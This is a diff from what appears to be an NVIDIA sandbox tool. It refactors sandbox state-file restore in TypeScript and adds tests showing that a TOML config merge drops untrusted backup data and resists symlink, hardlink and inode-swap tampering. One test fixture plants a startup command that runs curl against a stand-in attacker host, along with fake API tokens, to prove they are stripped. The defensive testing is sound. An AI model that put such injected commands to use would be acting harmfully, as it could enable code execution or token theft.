b/src/lib/state/sandbox.ts @@ -38,10 +38,6 @@ import { import { shellQuote } from "../runner.js"; import { createTempSshConfig } from "../sandbox/temp-ssh-config.js"; import { isSensitiveFile, sanitizeConfigFile } from "../security/credential-filter.js"; -import { - buildOpenClawConfigRestoreInputFromSandbox, - shouldMergeOpenClawConfigStateFile, -} from "./openclaw-config-restore-input.js"; import { buildRestoreCleanupCommand, buildRestoreTarArgs, @@ -57,7 +53,7 @@ import { import type { CustomPolicyEntry } from "./registry.js"; import * as registry from "./registry.js"; import { isSshTransportFailure } from "./ssh-transport.js"; -import type { StateFileRestorePolicy } from "./state-file-restore-policy.js"; +import { restoreStateFile } from "./state-file-restore.js"; import { runTarListing } from "./tar-listing.js"; const HOME_DIR = path.resolve(process.env.HOME || os.homedir()); @@ -167,19 +163,19 @@ export interface RestoreResult { error?: string; } -export interface RestoreOptions { - /** Optional file-specific restore capability authorized by the caller. */ - stateFileRestorePolicy?: StateFileRestorePolicy; -} - -export interface RecreatedSandboxRestoreOptions extends RestoreOptions { +export interface RecreatedSandboxRestoreOptions { /** Agent in the newly created target image, not the backup manifest agent. */ targetAgentType: string; + /** Explicit capability for custom images whose config must be restored wholesale. */ + allowCustomImageWholeStateFileRestore?: true; /** Pre-captured baseline avoids a second remote read during onboarding finalization. */ freshOpenClawImagePluginInstalls?: readonly OpenClawImagePluginInstall[]; } -interface InternalRestoreOptions extends RestoreOptions { +interface InternalRestoreOptions { + targetAgentType: string; + allowCustomImageWholeStateFileRestore?: true; + discoverFreshOpenClawImagePluginInstalls?: true; freshOpenClawImagePluginInstalls?: readonly OpenClawImagePluginInstall[]; } @@ -720,14 +716,21 @@ function normalizeStateFileSpec(spec: AgentStateFile | StateFileSpec): StateFile return { path: normalized, strategy: spec.strategy }; } +function normalizeStateFileSpecsPreservingDuplicates( + specs: readonly (AgentStateFile | StateFileSpec)[], +): StateFileSpec[] { + return specs.flatMap((spec) => { + const normalized = normalizeStateFileSpec(spec); + return normalized ? [normalized] : []; + }); +} + function normalizeStateFileSpecs( specs: readonly (AgentStateFile | StateFileSpec)[], ): StateFileSpec[] { const normalized: StateFileSpec[] = []; const seen = new Set(); - for (const spec of specs) { - const next = normalizeStateFileSpec(spec); - if (!next) continue; + for (const next of normalizeStateFileSpecsPreservingDuplicates(specs)) { const key = `${next.strategy}:${next.path}`; if (seen.has(key)) continue; seen.add(key); @@ -756,24 +759,6 @@ const SQLITE_BACKUP_PY = [ " src_conn.close()", ].join("\n"); -const SQLITE_RESTORE_PY = [ - "import os, sqlite3, sys", - "src, dst = sys.argv[1], sys.argv[2]", - "os.makedirs(os.path.dirname(dst), exist_ok=True)", - "src_conn = sqlite3.connect('file:' + src + '?mode=ro', uri=True, timeout=30)", - "dst_conn = sqlite3.connect(dst, timeout=30)", - "try:", - " dst_conn.execute('PRAGMA busy_timeout=30000')", - " src_conn.backup(dst_conn)", - " ok = dst_conn.execute('PRAGMA quick_check').fetchone()[0]", - " if ok != 'ok':", - " raise SystemExit('sqlite quick_check failed: ' + str(ok))", - "finally:", - " dst_conn.close()", - " src_conn.close()", - "os.chmod(dst, 0o660)", -].join("\n"); - function buildStateFileBackupCommand(dir: string, spec: StateFileSpec): string { const remotePath = stateFileRemotePath(dir, spec.path); const quotedRemotePath = shellQuote(remotePath); @@ -848,151 +833,6 @@ function backupStateFile( return { outcome: "backed_up", unreachable: false }; } -export function buildStateFileRestoreCommand( - dir: string, - spec: StateFileSpec, - refreshOpenClawConfigHash = false, -): string { - const remotePath = stateFileRemotePath(dir, spec.path); - const quotedRemotePath = shellQuote(remotePath); - if (spec.strategy === "sqlite_backup") { - return [ - `dst=${quotedRemotePath}`, - 'parent="$(dirname "$dst")"', - '[ ! -L "$parent" ] || { echo "refusing symlinked state parent: $parent" >&2; exit 10; }', - '[ ! -L "$dst" ] || { echo "refusing symlinked sqlite target: $dst" >&2; exit 11; }', - 'mkdir -p "$parent"', - 'tmp="$(mktemp /tmp/nemoclaw-sqlite-restore.XXXXXX)"', - "trap 'rm -f \"$tmp\"' EXIT", - 'cat > "$tmp"', - 'chmod 600 "$tmp"', - `umask 0007; python3 -c ${shellQuote(SQLITE_RESTORE_PY)} "$tmp" "$dst"`, - ].join("; "); - } - - const steps = [ - `dst=${quotedRemotePath}`, - 'parent="$(dirname "$dst")"', - '[ ! -L "$parent" ] || { echo "refusing symlinked state parent: $parent" >&2; exit 10; }', - '[ ! -L "$dst" ] || { echo "refusing symlinked state target: $dst" >&2; exit 11; }', - 'mkdir -p "$parent"', - 'tmp="$(mktemp "${parent}/.nemoclaw-restore.XXXXXX")"', - 'trap \'rm -f "$tmp" "${anchor_tmp:-}"\' EXIT', - 'cat > "$tmp"', - 'chmod 640 "$tmp"', - ]; - - if (refreshOpenClawConfigHash) { - // OpenClaw guards openclaw.json with a `.last-good` recovery anchor: on its - // config-integrity check it archives any live config that differs from - // `.last-good` as `openclaw.json.clobbered.*` and reverts to `.last-good`. - // The rebuild restore writes the merged user config directly, so without - // refreshing the anchor OpenClaw reverts the restored config back to the - // freshly generated baseline captured at first boot (issue #5202). Refresh - // the anchor from the staged temp BEFORE swapping the live file so the - // integrity watcher never observes a config that disagrees with it. Stage - // through a temp + atomic rename and fail closed (before the live swap) so - // a partial/failed anchor write never leaves a stale recovery target that - // would let OpenClaw revert the restored config. - steps.push( - 'last_good="${dst}.last-good"', - '[ ! -L "$last_good" ] || { echo "refusing symlinked last-good target: $last_good" >&2; exit 13; }', - 'anchor_tmp="$(mktemp "${parent}/.nemoclaw-lastgood.XXXXXX")" || { echo "failed to stage last-good anchor" >&2; exit 14; }', - 'cat "$tmp" > "$anchor_tmp" || { echo "failed to write last-good anchor" >&2; exit 14; }', - 'chmod 660 "$anchor_tmp" 2>/dev/null || true', - 'mv -f "$anchor_tmp" "$last_good" || { echo "failed to install last-good anchor" >&2; exit 14; }', - ); - } - - steps.push('mv -f "$tmp" "$dst"'); - - if (refreshOpenClawConfigHash) { - steps.push( - 'hash_file="${parent}/.config-hash"', - '[ ! -L "$hash_file" ] || { echo "refusing symlinked config hash target: $hash_file" >&2; exit 12; }', - '(cd "$parent" && sha256sum "$(basename "$dst")" > .config-hash)', - 'chmod 660 "$hash_file" 2>/dev/null || true', - ); - } - - return steps.join("; "); -} - -function buildStateFileRestoreInput( - configFile: string, - sandboxName: string, - dir: string, - spec: StateFileSpec, - backupContents: Buffer, - mergeOpenClawConfig: boolean, - freshImagePluginInstalls?: readonly OpenClawImagePluginInstall[], - previousImagePluginInstalls?: readonly OpenClawImagePluginInstall[], -): Buffer | null { - if (!mergeOpenClawConfig) return backupContents; - - const result = buildOpenClawConfigRestoreInputFromSandbox({ - backupContents, - dir, - freshImagePluginInstalls, - log: _log, - previousImagePluginInstalls, - specPath: spec.path, - sshArgs: sshArgs(configFile, sandboxName), - }); - if (result.ok) return result.input; - _log(`FAILED: ${result.error}`); - return null; -} - -function restoreStateFile( - configFile: string, - sandboxName: string, - agentType: string | null | undefined, - dir: string, - spec: StateFileSpec, - backupPath: string, - mergeOpenClawConfig = false, - stateFileRestorePolicy?: StateFileRestorePolicy, - freshImagePluginInstalls?: readonly OpenClawImagePluginInstall[], - previousImagePluginInstalls?: readonly OpenClawImagePluginInstall[], -): boolean { - const localPath = path.join(backupPath, spec.path); - if (!existsSync(localPath)) return true; - - const backupContents = readFileSync(localPath); - const plan = stateFileRestorePolicy?.(agentType, dir, spec, backupContents); - const command = plan?.command ?? buildStateFileRestoreCommand(dir, spec, mergeOpenClawConfig); - _log(`Restoring state file ${spec.path} (${spec.strategy})`); - const input = - plan?.input ?? - buildStateFileRestoreInput( - configFile, - sandboxName, - dir, - spec, - backupContents, - mergeOpenClawConfig, - freshImagePluginInstalls, - previousImagePluginInstalls, - ); - if (input === null) return false; - - const result = spawnSync("ssh", [...sshArgs(configFile, sandboxName), command], { - input, - stdio: ["pipe", "pipe", "pipe"], - timeout: 120000, - }); - - if (result.status === 0 && !result.error && !result.signal) return true; - - const detail = - (result.stderr?.toString() || "").trim() || - result.error?.message || - (result.signal ? `signal ${result.signal}` : `exit ${String(result.status)}`); - _log(`FAILED: state file restore ${spec.path}: ${detail.substring(0, 200)}`); - return false; -} - // ── Backup ───────────────────────────────────────────────────────── /** @@ -1000,6 +840,7 @@ function restoreStateFile( * Uses the agent manifest to determine which directories contain state. */ +export { buildStateFileRestoreCommand } from "./state-file-restore.js"; // isSshTransportFailure lives in ./ssh-transport now. Re-exported here for // backwards compatibility with callers that used to import it from this // module. Prefer importing directly from ./ssh-transport in new code. @@ -1430,12 +1271,22 @@ export function backupSandboxState(sandboxName: string, options: BackupOptions = /** * Restore state directories into a sandbox from a prior backup. */ -export function restoreSandboxState( - sandboxName: string, - backupPath: string, - options: RestoreOptions = {}, -): RestoreResult { - return restoreSandboxStateInternal(sandboxName, backupPath, options); +export function restoreSandboxState(sandboxName: string, backupPath: string): RestoreResult { + const target = registry.getSandbox(sandboxName); + if (!target) { + return { + success: false, + restoredDirs: [], + failedDirs: ["manifest"], + restoredFiles: [], + failedFiles: [], + error: `Could not resolve target sandbox '${sandboxName}' for state restore`, + }; + } + return restoreSandboxStateInternal(sandboxName, backupPath, { + targetAgentType: String(target.agent || "openclaw"), + ...(target.fromDockerfile ? { allowCustomImageWholeStateFileRestore: true } : {}), + }); } export function restoreRecreatedSandboxState( @@ -1443,27 +1294,16 @@ export function restoreRecreatedSandboxState( backupPath: string, options: RecreatedSandboxRestoreOptions, ): RestoreResult { - let freshOpenClawImagePluginInstalls: readonly OpenClawImagePluginInstall[] | undefined; - if (options.targetAgentType === "openclaw") { - const targetDir = loadAgent(options.targetAgentType).configPaths.dir; - const discovery = options.freshOpenClawImagePluginInstalls - ? parseOpenClawImagePluginInstalls(options.freshOpenClawImagePluginInstalls, targetDir) - : discoverFreshOpenClawImagePluginInstalls(sandboxName, { getSshConfig, sshArgs }, targetDir); - if (!discovery.ok) { - return { - success: false, - restoredDirs: [], - failedDirs: ["extensions"], - restoredFiles: [], - failedFiles: [], - error: discovery.error, - }; - } - freshOpenClawImagePluginInstalls = discovery.pluginInstalls; - } return restoreSandboxStateInternal(sandboxName, backupPath, { - freshOpenClawImagePluginInstalls, - stateFileRestorePolicy: options.stateFileRestorePolicy, + targetAgentType: options.targetAgentType, + ...(options.allowCustomImageWholeStateFileRestore + ? { allowCustomImageWholeStateFileRestore: true } + : {}), + ...(options.targetAgentType === "openclaw" && + options.freshOpenClawImagePluginInstalls === undefined + ? { discoverFreshOpenClawImagePluginInstalls: true } + : {}), + freshOpenClawImagePluginInstalls: options.freshOpenClawImagePluginInstalls, }); } @@ -1510,7 +1350,7 @@ function restoreSandboxStateInternal( // backward compatibility. const restorableStateDirs = manifest.backedUpDirs ?? manifest.stateDirs; const localDirs = existingBackupDirs(backupPath, restorableStateDirs); - const stateFiles = normalizeStateFileSpecs(manifest.stateFiles ?? []); + const stateFiles = normalizeStateFileSpecsPreservingDuplicates(manifest.stateFiles ?? []); const localFiles = stateFiles.filter((f) => existsSync(path.join(backupPath, f.path))); _log( `Local backup dirs: [${localDirs.join(",")}] (${localDirs.length}/${manifest.stateDirs.length})`, @@ -1519,6 +1359,96 @@ function restoreSandboxStateInternal( `Local backup files: [${localFiles.map((f) => f.path).join(",")}] (${localFiles.length}/${stateFiles.length})`, ); + const failRestoreContract = (error: string): RestoreResult => { + _log(`FAILED: ${error}`); + return { + success: false, + restoredDirs, + failedDirs: [...localDirs], + restoredFiles, + failedFiles: localFiles.map((file) => file.path), + error, + }; + }; + if (options.targetAgentType !== manifest.agentType) { + return failRestoreContract( + `Backup agent '${manifest.agentType}' does not match target agent '${options.targetAgentType}'`, + ); + } + let targetAgent: ReturnType; + try { + targetAgent = loadAgent(options.targetAgentType); + } catch { + return failRestoreContract( + `Could not load target agent manifest '${options.targetAgentType}' for state restore`, + ); + } + const normalizedBackupDir = dir.replace(/\/+$/, ""); + const normalizedTargetDir = targetAgent.configPaths.dir.replace(/\/+$/, ""); + if (normalizedBackupDir !== normalizedTargetDir) { + return failRestoreContract( + `Backup state directory '${normalizedBackupDir}' does not match target directory '${normalizedTargetDir}'`, + ); + } + const targetStateFiles = new Map(); + for (const targetFile of targetAgent.stateFiles) { + const normalized = normalizeStateFilePath(targetFile.path); + if (!normalized || targetStateFiles.has(normalized)) { + return failRestoreContract( + `Target agent manifest '${options.targetAgentType}' has an invalid or duplicate state file declaration`, + ); + } + targetStateFiles.set(normalized, targetFile); + } + const seenBackupPaths = new Set(); + for (const backupFile of stateFiles) { + if (seenBackupPaths.has(backupFile.path)) { + return failRestoreContract(`Backup manifest repeats state file '${backupFile.path}'`); + } + seenBackupPaths.add(backupFile.path); + const targetFile = targetStateFiles.get(backupFile.path); + if (!targetFile) { + return failRestoreContract( + `Backup state file '${backupFile.path}' is not declared by target agent '${options.targetAgentType}'`, + ); + } + if (targetFile.strategy !== backupFile.strategy) { + return failRestoreContract( + `Backup state file '${backupFile.path}' strategy '${backupFile.strategy}' does not match target strategy '${targetFile.strategy}'`, + ); + } + } + + let freshOpenClawImagePluginInstalls: readonly OpenClawImagePluginInstall[] | undefined; + if (options.freshOpenClawImagePluginInstalls !== undefined) { + const parsed = parseOpenClawImagePluginInstalls( + options.freshOpenClawImagePluginInstalls, + targetAgent.configPaths.dir, + ); + if (!parsed.ok) { + return { + ...failRestoreContract(parsed.error), + failedDirs: ["extensions"], + failedFiles: [], + }; + } + freshOpenClawImagePluginInstalls = parsed.pluginInstalls; + } else if (options.discoverFreshOpenClawImagePluginInstalls === true) { + const discovery = discoverFreshOpenClawImagePluginInstalls( + sandboxName, + { getSshConfig, sshArgs }, + targetAgent.configPaths.dir, + ); + if (!discovery.ok) { + return { + ...failRestoreContract(discovery.error), + failedDirs: ["extensions"], + failedFiles: [], + }; + } + freshOpenClawImagePluginInstalls = discovery.pluginInstalls; + } + if (localDirs.length === 0 && localFiles.length === 0) { _log("No dirs or files to restore"); return { success: true, restoredDirs, failedDirs, restoredFiles, failedFiles }; @@ -1539,7 +1469,6 @@ function restoreSandboxStateInternal( const tempSshConfig = createTempSshConfig(sshConfig, "nemoclaw-state-"); const configFile = tempSshConfig.file; - const freshOpenClawImagePluginInstalls = options.freshOpenClawImagePluginInstalls; const previousOpenClawImagePluginInstalls = freshOpenClawImagePluginInstalls !== undefined ? manifest.openclawImagePluginInstalls @@ -1704,16 +1633,17 @@ function restoreSandboxStateInternal( } for (const spec of localFiles) { + const targetStateFile = targetStateFiles.get(spec.path); + if (!targetStateFile) throw new Error(`Validated target state file missing: ${spec.path}`); if ( restoreStateFile( - configFile, - sandboxName, - manifest.agentType, + sshArgs(configFile, sandboxName), dir, spec, backupPath, - shouldMergeOpenClawConfigStateFile(manifest.agentType, dir, spec), - options.stateFileRestorePolicy, + targetStateFile.restore, + options.allowCustomImageWholeStateFileRestore === true, + _log, configFreshOpenClawImagePluginInstalls, previousOpenClawImagePluginInstalls, ) @@ -1777,7 +1707,9 @@ function readManifest(backupPath: string): RebuildManifest | null { return { ...manifest, dir, - stateFiles: normalizeStateFileSpecs(manifest.stateFiles ?? []), + // Preserve repeated normalized paths from this untrusted payload so the + // restore contract can reject them instead of silently de-duplicating. + stateFiles: normalizeStateFileSpecsPreservingDuplicates(manifest.stateFiles ?? []), blueprintDigest: manifest.blueprintDigest ?? null, }; } catch { diff --git a/src/lib/state/state-file-key-merge-behavior.test.ts b/src/lib/state/state-file-key-merge-behavior.test.ts new file mode 100644 index 0000000000..0ce09c0dde --- /dev/null +++ b/src/lib/state/state-file-key-merge-behavior.test.ts @@ -0,0 +1,242 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +import { stringify } from "smol-toml"; +import { describe, expect, it } from "vitest"; + +import type { StateFileKeyAllowlistRestoreOwnership } from "../agent/defs"; +import { + DCODE_OWNERSHIP, + FRESH_PROVIDER_HEADER, + GENERATED_HEADER, + generatedCurrent, + mergedToml, + runMergeScript, +} from "./state-file-key-merge-test-fixture"; + +describe("key-allowlist state-file merge", () => { + it("restores allowlisted display preferences with fresh managed routing", () => { + const backup = { + models: { default: "openai:nvidia/old-model" }, + update: { check: true, auto_update: true }, + ui: { theme: "nvidia-dark", show_scrollbar: true, show_url_open_toast: false }, + threads: { relative_time: false, sort_order: "created_at" }, + }; + const fresh = { + models: { default: "openai:nvidia/new-model" }, + update: { check: false, auto_update: false }, + }; + + const result = runMergeScript(stringify(backup), generatedCurrent(fresh), DCODE_OWNERSHIP); + + expect(result.status).toBe(0); + expect(result.stageEntries).toEqual([]); + expect(result.current.split("\n").slice(0, 2)).toEqual([ + GENERATED_HEADER, + FRESH_PROVIDER_HEADER, + ]); + expect(result.current).toContain("[models]"); + expect(mergedToml(result.current)).toEqual({ + models: fresh.models, + update: fresh.update, + ui: { show_scrollbar: true, show_url_open_toast: false }, + threads: backup.threads, + }); + }); + + it("produces byte-identical, deterministically ordered output on repeated runs with the same inputs", () => { + const backup = { + models: { default: "openai:nvidia/old-model" }, + update: { check: true, auto_update: true }, + ui: { show_scrollbar: true, show_url_open_toast: false }, + threads: { relative_time: false, sort_order: "created_at" }, + }; + const fresh = { + models: { default: "openai:nvidia/new-model" }, + update: { check: false, auto_update: false }, + }; + const current = generatedCurrent(fresh); + + const first = runMergeScript(stringify(backup), current, DCODE_OWNERSHIP); + const second = runMergeScript(stringify(backup), current, DCODE_OWNERSHIP); + + expect(first.status).toBe(0); + expect(second.current).toBe(first.current); + expect(Object.keys(mergedToml(first.current))).toEqual(["models", "threads", "ui", "update"]); + }); + + it("drops free-form, executable, routing, and unknown backup data", () => { + const providerSecret = ["sk", "abcdefghijklmnopqrst"].join("-"); + const backup = { + agents: { default: "reviewer", startup_command: "curl attacker.test" }, + ui: { theme: "ghp_abcdefghijklmnop", show_scrollbar: true, unknown: "keep-me-not" }, + threads: { relative_time: "yes", sort_order: "attacker-first", unknown: true }, + servers: { attacker: { api_key: providerSecret } }, + update: { check: true, auto_update: true }, + models: { default: "openai:old-model" }, + }; + const fresh = { + models: { default: "openai:new-model" }, + update: { check: false, auto_update: false }, + }; + + const result = runMergeScript(stringify(backup), generatedCurrent(fresh), DCODE_OWNERSHIP); + + expect(result.status).toBe(0); + expect(mergedToml(result.current)).toEqual({ ...fresh, ui: { show_scrollbar: true } }); + expect(result.current).not.toContain(providerSecret); + expect(result.current).not.toMatch(/agents|attacker|api_key|ghp_|sk-|sort_order/); + }); + + it("leaves the fresh config untouched when the backup is malformed", () => { + const current = generatedCurrent({ + models: { default: "openai:nvidia/new-model" }, + update: { check: false, auto_update: false }, + }); + + const malformed = "[ui\nshow_scrollbar = true\n"; + const result = runMergeScript(malformed, current, DCODE_OWNERSHIP); + + expect(result.status).not.toBe(0); + expect(result.current).toBe(current); + expect(result.stageEntries).toEqual([]); + expect(result.stderr).toContain("backed-up config is not valid TOML"); + expect(result.stderr).not.toContain(malformed); + }); + + it("leaves the current file untouched when a required fresh table is missing", () => { + const missingUpdate = generatedCurrent({ models: { default: "openai:nvidia/new-model" } }); + + const result = runMergeScript( + stringify({ ui: { show_scrollbar: true } }), + missingUpdate, + DCODE_OWNERSHIP, + ); + + expect(result.status).not.toBe(0); + expect(result.current).toBe(missingUpdate); + expect(result.stderr).toContain("current config is missing managed [update] data"); + }); + + it("requires the declared fresh headers before replacing the current file", () => { + const withoutHeaders = stringify({ + models: { default: "openai:nvidia/new-model" }, + update: { check: false, auto_update: false }, + }); + + const result = runMergeScript( + stringify({ ui: { show_scrollbar: true } }), + withoutHeaders, + DCODE_OWNERSHIP, + ); + + expect(result.status).not.toBe(0); + expect(result.current).toBe(withoutHeaders); + expect(result.stderr).toContain("required generated header"); + }); + + it("enforces integer bounds and drops out-of-range values", () => { + const ownership: StateFileKeyAllowlistRestoreOwnership = { + merge: "key-allowlist", + userKeys: [{ key: "limits.retries", type: "integer", min: 0, max: 5 }], + requireFreshHeaders: DCODE_OWNERSHIP.requireFreshHeaders, + }; + const fresh = { models: { default: "m" } }; + + const within = runMergeScript( + stringify({ limits: { retries: 3 } }), + generatedCurrent(fresh), + ownership, + ); + expect(within.status).toBe(0); + expect(mergedToml(within.current)).toEqual({ ...fresh, limits: { retries: 3 } }); + + const outside = runMergeScript( + stringify({ limits: { retries: 9 } }), + generatedCurrent(fresh), + ownership, + ); + expect(outside.status).toBe(0); + expect(mergedToml(outside.current)).toEqual(fresh); + }); + + it("enforces string max_length and rejects non-string values", () => { + const ownership: StateFileKeyAllowlistRestoreOwnership = { + merge: "key-allowlist", + userKeys: [{ key: "label", type: "string", maxLength: 4 }], + requireFreshHeaders: DCODE_OWNERSHIP.requireFreshHeaders, + }; + const fresh = { models: { default: "m" } }; + + const shortValue = runMergeScript( + stringify({ label: "abc" }), + generatedCurrent(fresh), + ownership, + ); + expect(mergedToml(shortValue.current)).toEqual({ ...fresh, label: "abc" }); + + const longValue = runMergeScript( + stringify({ label: "abcdef" }), + generatedCurrent(fresh), + ownership, + ); + expect(mergedToml(longValue.current)).toEqual(fresh); + + const wrongType = runMergeScript(stringify({ label: 12 }), generatedCurrent(fresh), ownership); + expect(mergedToml(wrongType.current)).toEqual(fresh); + }); + + it("keeps a fresh scalar when an old nested preference no longer has a table parent", () => { + const ownership: StateFileKeyAllowlistRestoreOwnership = { + merge: "key-allowlist", + userKeys: [{ key: "ui.show_scrollbar", type: "boolean" }], + requireFreshHeaders: DCODE_OWNERSHIP.requireFreshHeaders, + }; + const fresh = { ui: "managed-by-current-version" }; + + const result = runMergeScript( + stringify({ ui: { show_scrollbar: true } }), + generatedCurrent(fresh), + ownership, + ); + + expect(result.status).toBe(0); + expect(mergedToml(result.current)).toEqual(fresh); + }); + + it("preserves every safe leading comment after validating managed headers", () => { + const fresh = { + models: { default: "openai:nvidia/new-model" }, + update: { check: false, auto_update: false }, + }; + const extraHeader = "# Image generation: current"; + const current = `${GENERATED_HEADER}\n${FRESH_PROVIDER_HEADER}\n${extraHeader}\n\n${stringify(fresh)}`; + + const result = runMergeScript( + stringify({ ui: { show_scrollbar: true } }), + current, + DCODE_OWNERSHIP, + ); + + expect(result.status).toBe(0); + expect(result.current.split("\n").slice(0, 3)).toEqual([ + GENERATED_HEADER, + FRESH_PROVIDER_HEADER, + extraHeader, + ]); + }); + + it("rejects unsafe metadata in an extra leading comment", () => { + const fresh = { + models: { default: "openai:nvidia/new-model" }, + update: { check: false, auto_update: false }, + }; + const current = `${GENERATED_HEADER}\n${FRESH_PROVIDER_HEADER}\n# unsafe\tmetadata\n\n${stringify(fresh)}`; + + const result = runMergeScript(stringify({}), current, DCODE_OWNERSHIP); + + expect(result.status).not.toBe(0); + expect(result.current).toBe(current); + expect(result.stderr).toContain("unsafe generated header metadata"); + }); +}); diff --git a/src/lib/state/state-file-key-merge-file-safety.test.ts b/src/lib/state/state-file-key-merge-file-safety.test.ts new file mode 100644 index 0000000000..b5bd166821 --- /dev/null +++ b/src/lib/state/state-file-key-merge-file-safety.test.ts @@ -0,0 +1,161 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +import { stringify } from "smol-toml"; +import { describe, expect, it } from "vitest"; + +import { + buildKeyAllowlistMergeRestoreCommand, + KEY_ALLOWLIST_MERGE_PYTHON, +} from "./state-file-key-merge"; +import { + DCODE_OWNERSHIP, + generatedCurrent, + IN_PLACE_MUTATION_SCRIPT, + INODE_SWAP_MARKER, + INODE_SWAP_SCRIPT, + mergedToml, + runMergeScript, + runProductionCommand, + stageSwapScript, +} from "./state-file-key-merge-test-fixture"; + +describe("key-allowlist state-file merge", () => { + it("executes the full production command with backup TOML only on stdin", () => { + const backup = stringify({ ui: { show_scrollbar: true } }); + const current = generatedCurrent({ + models: { default: "openai:nvidia/new-model" }, + update: { check: false, auto_update: false }, + }); + + const result = runProductionCommand(backup, current); + + expect(result.status).toBe(0); + expect(mergedToml(result.current)).toEqual({ + models: { default: "openai:nvidia/new-model" }, + update: { check: false, auto_update: false }, + ui: { show_scrollbar: true }, + }); + expect(result.command).not.toContain("backup_tmp"); + expect(result.command).not.toContain("staged_tmp"); + expect(result.command).not.toContain('cat > "$backup_tmp"'); + expect(result.entries.some((entry) => entry.startsWith(".nemoclaw-restore-merged."))).toBe( + false, + ); + }); + + it("rejects symlinked and hard-linked current configs through the production command", () => { + const backup = stringify({ ui: { show_scrollbar: true } }); + const current = generatedCurrent({ + models: { default: "openai:nvidia/new-model" }, + update: { check: false, auto_update: false }, + }); + + for (const currentLink of ["symlink", "hardlink"] as const) { + const result = runProductionCommand(backup, current, { currentLink }); + + expect(result.status, currentLink).not.toBe(0); + expect(result.current, currentLink).toBe(current); + expect(result.currentTarget, currentLink).toBe(current); + } + }); + + it("rejects a symlink in a config parent ancestor through the production command", () => { + const backup = stringify({ ui: { show_scrollbar: true } }); + const current = generatedCurrent({ + models: { default: "openai:nvidia/new-model" }, + update: { check: false, auto_update: false }, + }); + + const result = runProductionCommand(backup, current, { parentAncestorSymlink: true }); + + expect(result.status).not.toBe(0); + expect(result.stderr).toContain("config parent directory is unsafe"); + expect(result.current).toBe(current); + }); + + it("rejects symlink, hardlink, and inode swaps of its private stage before replacement", () => { + const backup = stringify({ ui: { show_scrollbar: true } }); + const current = generatedCurrent({ + models: { default: "openai:nvidia/new-model" }, + update: { check: false, auto_update: false }, + }); + + for (const kind of ["symlink", "hardlink", "regular"] as const) { + const result = runProductionCommand(backup, current, { script: stageSwapScript(kind) }); + + expect(result.status, kind).not.toBe(0); + expect(result.stderr, kind).toContain("config staging file changed before atomic restore"); + expect(result.current, kind).toBe(current); + expect(result.attackTarget, kind).toBe("stage attack target must remain unchanged\n"); + expect( + result.entries.some((entry) => entry.startsWith(".nemoclaw-restore-merged.")), + kind, + ).toBe(true); + } + }); + + it("refuses to replace a current config whose inode changes after validation", () => { + const current = generatedCurrent({ + models: { default: "openai:nvidia/new-model" }, + update: { check: false, auto_update: false }, + }); + + const result = runMergeScript( + stringify({ ui: { show_scrollbar: true } }), + current, + DCODE_OWNERSHIP, + { script: INODE_SWAP_SCRIPT }, + ); + + expect(result.status).not.toBe(0); + expect(result.stderr).toContain("current config changed before atomic restore"); + expect(result.current).toBe(INODE_SWAP_MARKER); + expect(result.swappedOriginal).toBe(current); + expect(result.stageEntries).toEqual([]); + }); + + it("refuses to replace a current config modified in place after validation", () => { + const current = generatedCurrent({ + models: { default: "openai:nvidia/new-model" }, + update: { check: false, auto_update: false }, + }); + + const result = runMergeScript( + stringify({ ui: { show_scrollbar: true } }), + current, + DCODE_OWNERSHIP, + { script: IN_PLACE_MUTATION_SCRIPT }, + ); + + expect(result.status).not.toBe(0); + expect(result.stderr).toContain("current config changed before atomic restore"); + expect(result.current).toBe(`${current}# concurrent mutation\n`); + expect(result.stageEntries).toEqual([]); + }); + + it("builds a same-directory staged atomic restore command for any config dir", () => { + const command = buildKeyAllowlistMergeRestoreCommand( + "/sandbox/.deepagents/", + { path: "config.toml" }, + DCODE_OWNERSHIP, + ); + + expect(command).toContain("/opt/venv/bin/python3 -I -c"); + expect(command).toContain('"$dst"'); + expect(command).not.toContain("mktemp"); + expect(command).not.toContain('chmod 600 "$'); + expect(command).toContain("/sandbox/.deepagents/config.toml"); + expect(command).toContain("show_scrollbar"); + expect(KEY_ALLOWLIST_MERGE_PYTHON).toContain( + "os.replace(staged_name, current_name, src_dir_fd=parent_fd, dst_dir_fd=parent_fd)", + ); + + const custom = buildKeyAllowlistMergeRestoreCommand( + "/sandbox/.custom", + { path: "config.toml" }, + DCODE_OWNERSHIP, + ); + expect(custom).toContain("/sandbox/.custom/config.toml"); + }); +}); diff --git a/src/lib/state/state-file-key-merge-spec.test.ts b/src/lib/state/state-file-key-merge-spec.test.ts new file mode 100644 index 0000000000..21c8d70e63 --- /dev/null +++ b/src/lib/state/state-file-key-merge-spec.test.ts @@ -0,0 +1,33 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +import { describe, expect, it } from "vitest"; + +import { stateFileKeyMergeSpec } from "./state-file-key-merge"; + +describe("stateFileKeyMergeSpec", () => { + it("maps declarative ownership to the python merge spec", () => { + expect( + stateFileKeyMergeSpec({ + merge: "key-allowlist", + userKeys: [ + { key: "a.b", type: "boolean" }, + { key: "c", type: "enum", values: ["x"] }, + { key: "n", type: "integer", min: 1, max: 2 }, + { key: "s", type: "string", maxLength: 5 }, + ], + requireFreshTables: ["t.u"], + requireFreshHeaders: [{ match: "exact", value: "# h" }], + }), + ).toEqual({ + user_keys: [ + { path: ["a", "b"], type: "boolean" }, + { path: ["c"], type: "enum", values: ["x"] }, + { path: ["n"], type: "integer", min: 1, max: 2 }, + { path: ["s"], type: "string", max_length: 5 }, + ], + require_fresh_tables: [["t", "u"]], + require_fresh_headers: [{ match: "exact", value: "# h" }], + }); + }); +}); diff --git a/src/lib/state/state-file-key-merge-test-fixture.ts b/src/lib/state/state-file-key-merge-test-fixture.ts new file mode 100644 index 0000000000..e4de718bb4 --- /dev/null +++ b/src/lib/state/state-file-key-merge-test-fixture.ts @@ -0,0 +1,318 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +import { spawnSync } from "node:child_process"; +import fs from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import { parse, stringify } from "smol-toml"; +import type { StateFileKeyAllowlistRestoreOwnership } from "../agent/defs"; +import { shellQuote } from "../runner"; +import { + 